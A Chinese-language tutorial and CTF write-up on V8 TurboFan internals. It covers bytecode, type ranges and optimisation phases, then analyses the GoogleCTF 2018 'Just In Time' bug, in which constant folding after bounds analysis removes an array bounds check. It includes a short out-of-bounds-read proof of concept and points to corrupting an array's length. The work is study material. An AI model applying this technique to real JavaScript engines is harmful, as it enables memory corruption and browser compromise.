close

作者:TokameinE@知道創宇404實驗室日期:2022年7月19日

「JavaScript代碼本身就是一個二進制程序。」 不知道讀者是否在什麼地方聽說過這樣的解釋,但筆者認為這個形容相當生動。因為JavaScript的代碼是懶惰解釋的,只有在特定函數被執行時候,解釋器才會對這部分代碼進行解釋,生成對應的字節碼。但這些字節碼會隨着代碼的運行而產生變動,同一份代碼有可能在同一次執行中,由於動態優化的緣故而被解釋為兩段相差甚大的字節碼。不知道您現在是否對這句話有了一點體會。在某些文章中我們甚至能看見這樣的解釋:「解釋器即編譯器」。
V8的工作原理
或許您已經在某些地方見過這張圖了,它很簡潔的概況了整個流程。

首先會將JavaScript代碼傳遞給 V8 引擎,並將其遞給Parse

然後它會根據代碼生成對應的抽象語法樹(AST)

接下來,Ignition解釋器就會直接根據AST生成對應的字節碼,並開始執行它們

會有另外一個線程監測代碼的執行過程,收集合適的數據進行回調

TurboFan會根據這些數據優化字節碼,讓它們能夠更快的執行

一個最簡單的例子是,如果在運行過程中,TurboFan發現某個函數的參數無論如何都只會是32bit整數,而不會是其他任何類型,那麼它就可以省略掉很多類型檢查上的操作了,完全有可能讓一些加法被優化為單純的add指令,而不是其他更加複雜的函數;但如果運行中發現,在某一時刻,傳入的參數類型發生了變化,那麼就會去除這次的優化,令代碼回到本來的狀態。

從安全的角度來說,如果一段被優化後的代碼在遇到某些非法輸入時沒能正確的執行「去優化(deoptimizations)」步驟或是甚至沒有做deoptimizations,就有可能導致這段代碼被錯誤的使用。

V8 字節碼

字節碼是根據語法樹轉換而來的,那不如我們先從語法樹開始 。通過添加參數--print-ast可以令其打印出AST。來看下面的示例:

function add(val1, val2) { return val1 + val2;}var res1=add(1,2);var res2=add("a","b");$ ./d8 ./bytecode.js --print-ast[generating bytecode for function: ]--- AST ---FUNC at 0. KIND 0. LITERAL ID 0. SUSPEND COUNT 0. NAME "". INFERRED NAME "". DECLS. . FUNCTION "add" = function add. . VARIABLE (0x56295442b6b0) (mode = VAR, assigned = true) "res1". . VARIABLE (0x56295442b7c8) (mode = VAR, assigned = true) "res2". BLOCK NOCOMPLETIONS at -1. . EXPRESSION STATEMENT at 62. . . INIT at 62. . . . VAR PROXY unallocated (0x56295442b6b0) (mode = VAR, assigned = true) "res1". . . . CALL. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add". . . . . LITERAL 1. . . . . LITERAL 2. BLOCK NOCOMPLETIONS at -1. . EXPRESSION STATEMENT at 81. . . INIT at 81. . . . VAR PROXY unallocated (0x56295442b7c8) (mode = VAR, assigned = true) "res2". . . . CALL. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add". . . . . LITERAL "a". . . . . LITERAL "b"[generating bytecode for function: add]--- AST ---FUNC at 12. KIND 0. LITERAL ID 1. SUSPEND COUNT 0. NAME "add". PARAMS. . VAR (0x56295442b6e0) (mode = VAR, assigned = false) "val1". . VAR (0x56295442b760) (mode = VAR, assigned = false) "val2". DECLS. . VARIABLE (0x56295442b6e0) (mode = VAR, assigned = false) "val1". . VARIABLE (0x56295442b760) (mode = VAR, assigned = false) "val2". RETURN at 31. . ADD at 43. . . VAR PROXY parameter[0] (0x56295442b6e0) (mode = VAR, assigned = false) "val1". . . VAR PROXY parameter[1] (0x56295442b760) (mode = VAR, assigned = false) "val2"

第一個AST是整個程序執行流的,而第二個則是函數add的AST,我們的重點放在第二個上並將其轉為流程圖:

+---------+ +---------+ Function+----------+ | +---------+ | +--v---+ +----v---+ |params| | return | +---------------+ +----+---+ | | | | | |+----v-----+ +----------+ +----v----+| var val1 | | var val2 | | add |+----------+ +----------+ +------+---------+-------+ | | | | +-------v--------+ +---------v------+ | var proxy val1 | | var proxy val2 | +----------------+ +----------------+

這裡我們省略掉了 DECLS 分支,因為我們並不是很關心這些。

出於一些特殊的規則,語法樹會為函數創建兩個分支,一個用於參數,另外一個則用於執行流。並且,執行流中使用var proxy結點代替參數,當使用到參數時,這兩個結點會從左子樹中的參數結點中獲取變量。

而如果附帶--print-bytecode參數,就能夠得到其對應的字節碼:

[generated bytecode for function: add (0x314000253b61 <SharedFunctionInfo add>)]Bytecode length: 6Parameter count 3Register count 0Frame size 0Bytecode age: 0 0x314000253d3e @ 0 : 0b 04 Ldar a1 0x314000253d40 @ 2 : 39 03 00 Add a0, [0] 0x314000253d43 @ 5 : a9 Return Constant pool (size = 0)Handler Table (size = 0)Source Position Table (size = 0)

Parameter count:參數個數。除了我們提供的參數以外,還包括了一個this指針。

Ignition使用一種名為 「register machine」 的機制來模擬寄存器,其中有一個與x86下的rax相似的accumulator register(累加寄存器),它用於常規的計算以及返回值。

具體的字節碼就不再做翻譯了,因為下文中其實不怎麼需要它,此處多有一些拋磚引玉的意思。

優化過程

通過添加參數--trace-opt和--trace-deopt可以跟蹤程序的優化和去優化過程:

class Player{}class Wall{}function move(obj) { var tmp = obj.x + 42; var x = Math.random(); x += 1; return tmp + x;}for (var i = 0; i < 0x10000; ++i) { move(new Player());}move(new Wall());for (var i = 0; i < 0x10000; ++i) { move(new Wall());}$ ./d8 ./bytecode.js --trace-opt --trace-deopt[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function][compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan][optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.139, 0.330, 0.015 ms][completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)][marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable][compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR][optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.137, 0.687, 0.019 ms][bailout (kind: deopt-soft, reason: Insufficient type feedback for construct): begin. deoptimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)>, opt id 1, bytecode offset 123, deopt exit 6, FP to SP delta 96, caller SP 0x7ffdd0530428, pc 0x3fe4001c4b51][bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)>, opt id 0, bytecode offset 0, deopt exit 1, FP to SP delta 32, caller SP 0x7ffdd05303b8, pc 0x3fe4001c485f][marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function][compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan][marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable][optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.138, 0.612, 0.098 ms][completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)][compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR][optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.253, 0.901, 0.044 ms]

可以注意到,當程序多次執行move(new Player())時,TurboFan認為可以對此做更進一步的優化以加快程序執行;而讓其遇到move(new Wall())時,則因為二者的不同類型而出現wrong map,於是其去除以前的優化並重新執行,再之後又因為多次執行而再次優化。

也可以通過%PrepareFunctionForOptimization()與%OptimizeFunctionOnNextCall()來進行主動優化,不過這需要您在執行時添加參數--allow-natives-syntax來允許這種語法。

另外,具體的過程我們會在接下來的內容說明。目前我們需要知道的事實僅有如上這部分內容。

圖形化分析function add(x){ var va1=1; if(x) va1=0; return 1+va1;}for (let i = 0; i < 0x10000; ++i) { add(true);}for (let i = 0; i < 0x10000; ++i) { add(false);}

通過添加--trace-turbo可以在目錄下生成*.json和*.cfg*,我們可以將add函數導出的json導入到turbolizer中以獲取到對應的值傳遞圖:(隱藏了一部分,優化以前的狀態)

在值傳遞的過程中可以注意到,Turbofan總是傳遞Range(n,n)類型,它表示傳出的值的上下限,對於常數來說,它的上下界是相同的;而對於SpeculativeSafeIntergerAdd這類運算函數,它的類型則根據執行流分別計算下界和上界。

是的,只需要知道值的上下限就能夠確定最終能夠使用什麼樣的類型了。它只是在嘗試簡化AST樹,因此並不涉及到實際的執行過程,只需要確定在執行的過程中,需要用什麼類型的值表示變量即可。

另外,因為一些編譯原理上的設計,每個變量只會經過一次賦值,因此需要使用Phi結點去對值進行選擇。儘管它只可能返回0或1,但仍然給出了Range(0,1)。

在完成基本的構建以後,是通過TyperPhase::Run對整個結構圖進行遍歷並確定所有結點的屬性,其調用鏈大致如下:

TyperPhase::Run-->Typer::Run-->GraphReducer::ReduceGraph-->Typer::Visitor::Reduce-->Typer::Visitor::***Typer(此處 * 用以指代某個名稱,例如 JSCall)

這會遍歷每一個結點,並根據它們的輸入來確定最後的類型,並且在這個過程中,它會嘗試減少一部分節點來加快運行效率。

姑且用一段簡單的源代碼來說明一下這個過程,哪怕我並不希望在入門階段就立刻進入源代碼層面,但又似乎逃不開它:

void Typer::Run(const NodeVector& roots, LoopVariableOptimizer* induction_vars) { if (induction_vars != nullptr) { induction_vars->ChangeToInductionVariablePhis(); } Visitor visitor(this, induction_vars); GraphReducer graph_reducer(zone(), graph(), tick_counter_, broker()); graph_reducer.AddReducer(&visitor); for (Node* const root : roots) graph_reducer.ReduceNode(root); graph_reducer.ReduceGraph(); ··· induction_vars->ChangeToPhisAndInsertGuards(); }}

在Typer::Run中會調用ReduceGraph嘗試對結點進行縮減,它最終會根據結點的類型來確定運行的函數:

Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) { return Type::NonInternal(); } JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction(); if (!function.shared().HasBuiltinId()) { return Type::NonInternal(); } switch (function.shared().builtin_id()) { case Builtin::kMathRandom: return Type::PlainNumber(); case Builtin::kMathFloor: case Builtin::kMathCeil: case Builtin::kMathRound: case Builtin::kMathTrunc: return t->cache_->kIntegerOrMinusZeroOrNaN;···

這是一個龐大的switch ,對於那些內置函數(buildin),它能夠很快找出對應的類型;而對於一些其他類型的函數,則返回NonInternal。這麼做的目的是能夠簡化一些檢查操作,既然判明了這個結點必然會是某個確定的屬性,就不再需要對它的輸入做其他類型的檢查了。

對於常數,也有類似卻又小得多的結果:

Type Typer::Visitor::TypeNumberConstant(Node* node) { double number = OpParameter<double>(node->op()); return Type::Constant(number, zone()); }

不過這裡用到的是double類型,所以v8中的常數最大值肯定小於普通的八字節可表示的常數最大值。

然後再進入Type::Constant:

Type Type::Constant(double value, Zone* zone) { if (RangeType::IsInteger(value)) { return Range(value, value, zone); } else if (IsMinusZero(value)) { return Type::MinusZero(); } else if (std::isnan(value)) { return Type::NaN(); } DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value)); return OtherNumberConstant(value, zone); }

對於普通整數的返回值自然就是一個Range了,另外還有兩種值被使用-0和NaN。

而Speculative前綴含有推測的意思,這往往意味着這個函數能夠根據情況進一步優化,例如SpeculativeSafeIntegerAdd就是如此。在優化以前,它會以這個結點表示所有的加法,而在它通過代碼運行時分析,發現其執行數據符合一定的預期時,就能夠用更加具體且更加快速的函數來替代了。

Type OperationTyper::SpeculativeToNumber(Type type) { return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone()));}

ToNumber會繼續向下化簡,最終根據我們給出的Range選擇一個合適的函數替代,我們以如下的例子說明:

假如我們使用一個稍大一些的數:

let opt_me = (x) => { return x + 1000000000000;}opt_me(42);for(var i=0;i<0x10000;i++){opt_me(4242);}

就會使用SpeculativeNumberAdd替代它:

而如果我們只使用一些較小的數:

let opt_me= (x) => { let y = x ? 10 : 20; return y + 100;}for(var i=0;i<0x10000;i++){opt_me(false);}

就會生成相當簡單的Int32Add:

另外,而如果需要通過索引來讀取數組:

function opt() { var arr = [1.1,2.2]; var x = 1; return arr[x];}for (var i=0;i<0x20000;i++) { opt();}

有一個特殊的函數是CheckBounds,它會檢查輸入的索引值是否越界,然後才能夠返回對應的數。它的類型也是Range,通過確定的上下界就能夠很容易的分析出索引是否越界,因此在舊版的V8中會在優化後消除檢查;不過,在現在的版本里,這個檢查又加回來了:

似乎看起來消除檢查也沒太大問題,因為上下界確定的情況下Turbofan認為絕對不可能發生越界了。但如果在代碼層面和優化層面對數值的計算不一致,優化層計算出的結果表示不會越界,而代碼層的計算結果卻超出了範圍,那麼就能夠利用優化後取出檢查的機制來越界讀寫了。很危險,因此現在又恢復了這個檢查。

總結一下目前可能產生的優化:

JSCall調用內置函數結點被PlainNumber等已知類型替代

NumberConstant以Range(n,n)表示

SpeculativeNumberAdd(PlainNumber, PlainNumber)則會以PlainNumber表示,

當然,肯定不只是這些內容,但我們沒必要全部展開一一闡明,並且我相信您至少對這種替換有了一定的認識了。

但這只是初步優化,接下來還會做不同階段的分層優化:

TypedOptimization typed_optimization(&graph_reducer, data->dependencies(), data->jsgraph(), data->broker()); AddReducer(data, &graph_reducer, &dead_code_elimination); AddReducer(data, &graph_reducer, &create_lowering); AddReducer(data, &graph_reducer, &constant_folding_reducer); AddReducer(data, &graph_reducer, &typed_lowering); AddReducer(data, &graph_reducer, &typed_optimization); AddReducer(data, &graph_reducer, &simple_reducer); AddReducer(data, &graph_reducer, &checkpoint_elimination); AddReducer(data, &graph_reducer, &common_reducer);

在TypedOptimization中,會調用各類Reduce函數對類型進行優化,例如上述的SpeculativeNumberAdd:

Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) { Node* const lhs = NodeProperties::GetValueInput(node, 0); Node* const rhs = NodeProperties::GetValueInput(node, 1); Type const lhs_type = NodeProperties::GetType(lhs); Type const rhs_type = NodeProperties::GetType(rhs); NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNumber(y)) Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node* const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(value); } return NoChange();}

這會嘗試通過NumberOperationHintOf來判別我們的表達式行為:

NumberOperationHint NumberOperationHintOf(const Operator* op) { DCHECK(op->opcode() == IrOpcode::kSpeculativeNumberAdd || op->opcode() == IrOpcode::kSpeculativeNumberSubtract || op->opcode() == IrOpcode::kSpeculativeNumberMultiply || op->opcode() == IrOpcode::kSpeculativeNumberPow || op->opcode() == IrOpcode::kSpeculativeNumberDivide || op->opcode() == IrOpcode::kSpeculativeNumberModulus || op->opcode() == IrOpcode::kSpeculativeNumberShiftLeft || op->opcode() == IrOpcode::kSpeculativeNumberShiftRight || op->opcode() == IrOpcode::kSpeculativeNumberShiftRightLogical || op->opcode() == IrOpcode::kSpeculativeNumberBitwiseAnd || op->opcode() == IrOpcode::kSpeculativeNumberBitwiseOr || op->opcode() == IrOpcode::kSpeculativeNumberBitwiseXor || op->opcode() == IrOpcode::kSpeculativeNumberEqual || op->opcode() == IrOpcode::kSpeculativeNumberLessThan || op->opcode() == IrOpcode::kSpeculativeNumberLessThanOrEqual || op->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd || op->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract); return OpParameter<NumberOperationHint>(op);}

最終它會發現,如果表達式的二值均為NumberOperationHint::kNumber這類數字而不會是字符串或其他類型,那麼就能夠將SpeculativeNumberAdd替換為NumberAdd。

JSTypedLowering::ReduceJSCall也有類似的操作,這裡不再展開,讀者可以自行嘗試對照源代碼。

實例分析

GoogleCTF2018-Just In Time

慣例根據一個實際的樣本來說明Turbofan的利用過程,理解一下這種優化在什麼情況下能夠被利用。首先我們從資料較多的例題開始。

題目附件給了diff文件,我們可以直接閱讀代碼來確定問題所在:

@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase { data->jsgraph()->Dead()); DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(), data->common(), temp_zone); + DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(), + data->common()); ··· @@ -1318,6 +1321,7 @@ struct TypedLoweringPhase { data->js_heap_broker(), data->common(), data->machine(), temp_zone); AddReducer(data, &graph_reducer, &dead_code_elimination); + AddReducer(data, &graph_reducer, &duplicate_addition_reducer); AddReducer(data, &graph_reducer, &create_lowering);

可以注意到,在最後的一系列優化中,題目添加了一個額外的優化,向上跟蹤可以找到其來自於DuplicateAdditionReducer再往上找即可發現關鍵的漏洞代碼:

+Reduction DuplicateAdditionReducer::Reduce(Node* node) {+ switch (node->opcode()) {+ case IrOpcode::kNumberAdd:+ return ReduceAddition(node);+ default:+ return NoChange();+ }+}++Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {+ DCHECK_EQ(node->op()->ControlInputCount(), 0);+ DCHECK_EQ(node->op()->EffectInputCount(), 0);+ DCHECK_EQ(node->op()->ValueInputCount(), 2);++ Node* left = NodeProperties::GetValueInput(node, 0);+ if (left->opcode() != node->opcode()) {+ return NoChange();+ }++ Node* right = NodeProperties::GetValueInput(node, 1);+ if (right->opcode() != IrOpcode::kNumberConstant) {+ return NoChange();+ }++ Node* parent_left = NodeProperties::GetValueInput(left, 0);+ Node* parent_right = NodeProperties::GetValueInput(left, 1);+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {+ return NoChange();+ }++ double const1 = OpParameter<double>(right->op());+ double const2 = OpParameter<double>(parent_right->op());+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));++ NodeProperties::ReplaceValueInput(node, parent_left, 0);+ NodeProperties::ReplaceValueInput(node, new_const, 1);++ return Changed(node);+}

我們篩出關鍵的分支判斷和漏洞代碼:

+ switch (node->opcode()) {+ case IrOpcode::kNumberAdd:+ ···+ if (left->opcode() != node->opcode()) {+ ···+ if (right->opcode() != IrOpcode::kNumberConstant) {+ ···+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {+ ···+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));

總結如下:- 結點本身為 kNumberAdd - 左樹結點也為 kNumberAdd - 右樹結點為 kNumberConstant - 左樹的右父節點也為 kNumberConstant - 滿足以上條件時,將該結點替換為NumberConstant(const1+const2),意味將兩個常數合併

滿足條件的情況下,其結點樹大致如下:x+constant+constant

+------------------+ | kNumberConstant | +------+ | | +------------------+ | | |+---------v------+ +------------------+| kNumberAdd | |kNumberConstant || | | |+---------+------+ +--------+---------+ | | | | | | | +---------------+ | +-------> kNumberAdd <--------+ | | +---------------+

之後它會將兩個常數結點運算後替換成x+constant,這樣在執行時就能減少一次運算了。

這裡的加法即為JIT優化層面的運算,我們可以考慮這樣一種情況:- Index[x] 未越界,可執行 - Index[x+1+1] 未越界,可執行 - Index[x+2] 越界,不可執行

不知您是否發現了某些問題,如果我們在代碼層面寫的是Index[x+1+1],那麼它是一條可執行的語句,而如果寫Index[x+2]則會被檢查出越界;那如果我們寫入Index[x+1+1]使其通過檢查後,讓優化器把這段語句自動優化成了Index[x+2],是否就能夠繞過邊界檢查實現越界讀寫呢?

如果您熟悉C語言或是其他類似的編程語言,那麼你或許不會認為把1+1優化為2是一種不合理的選擇,但由於在JavaScript中的整數實際上是通過double類型的浮點數表示,因此就有可能在運算時發生問題。例如,Number.MAX_SAFE_INTEGER就表示能夠安全運算的最大整數,超出該數的運算就有可能發生上述問題,但它並不禁止你使用這類整數,因此在編寫代碼時需要程序員自己注意。

我們可以直接上代碼試試這個事實:

V8 version 7.3.0 (candidate)d8> x=Number.MAX_SAFE_INTEGER9007199254740991d8> x=x+19007199254740992d8> x=x+19007199254740992d8> x=x+19007199254740992

這個事實在各個版本中都存在,儘管它並不一定算是個問題,但和題目的優化機制結合就變得可以利用了。

一個簡單的越界

function oob(x){ var double_array=[1.1,2.2,3.3,4.4]; //Number.MAX_SAFE_INTEGER=9007199254740991; let t=(x==0)?Number.MAX_SAFE_INTEGER-2:Number.MAX_SAFE_INTEGER+1; //Range(9007199254740991-2,9007199254740991+1); t=t+1+1; //優化前:Range(9007199254740991,9007199254740991+1); //優化後:Range(9007199254740991,9007199254740991+3); t=t-9007199254740989; //優化前:Range(2,3) //優化後:Range(2,5) return double_array[t];}console.log(oob(0));console.log(oob(1));%OptimizeFunctionOnNextCall(oob);console.log(oob(1));

執行它將會打印出如下內容:

$ ./d8 exp.js --allow-natives-syntax --trace-turbo3.34.40

我們可以嘗試通過節點海跟蹤一下這個分析過程。在沒有進行優化時,我們得到的節點海為:

此時將遍歷所有結點,並通過計算得出它們的Range取值範圍。可以發現,此時的CheckBounds得知這個範圍為Range(2,3),這是不可能發生溢出的。

然後到了typedlowering階段,將開始進行初步的優化,可以注意到,此時1+1已經被優化為了NumberConstant[2],但並沒有重新計算CheckBounds得到的範圍。

由於turbofan發現這個結點獲得的索引始終都在Range(2,3),因此在simplified lowering階段已經將這個結點刪除:

而當完成優化以後,再次執行這個函數時,t+1+1變成t+2導致了計算結果超出預期進行越界讀寫,卻沒能被檢查出來,因此得到了越界的能力。

總結以下上述的過程就是:

Range只在最初的階段進行計算

而如果後續的優化會導致Range的範圍變動,而turbofan並不會重新計算

於是該值發生越界

當然,由於現在的版本不再刪除checkbound結點,因此這個問題只會發生在過去,但它仍然值得我們學習。

能夠越界讀寫以後,泄露地址和偽造數據自然不在話下。只要修改JSArray的length屬性為需要的值,之後就能夠隨意讀寫界外了。相關代碼如下:

bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) { uint32_t length = 0; if (receiver->IsJSArray()) { // 獲取 JSArray 的 length JSArray::cast(*receiver)->length()->ToArrayLength(&length); } else if (receiver->IsString()) { length = String::cast(*receiver)->length(); } else if (receiver->IsJSObject()) { length = JSObject::cast(*receiver)->elements()->length(); } else { return false; } // 判斷是否越界 return index >= length;}

具體的利用已經有很多師傅詳細聊過,因此本篇就不做多餘的贅述了。

END



往期熱門
(點擊圖片跳轉)


戳「閱讀原文」更多精彩內容!

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()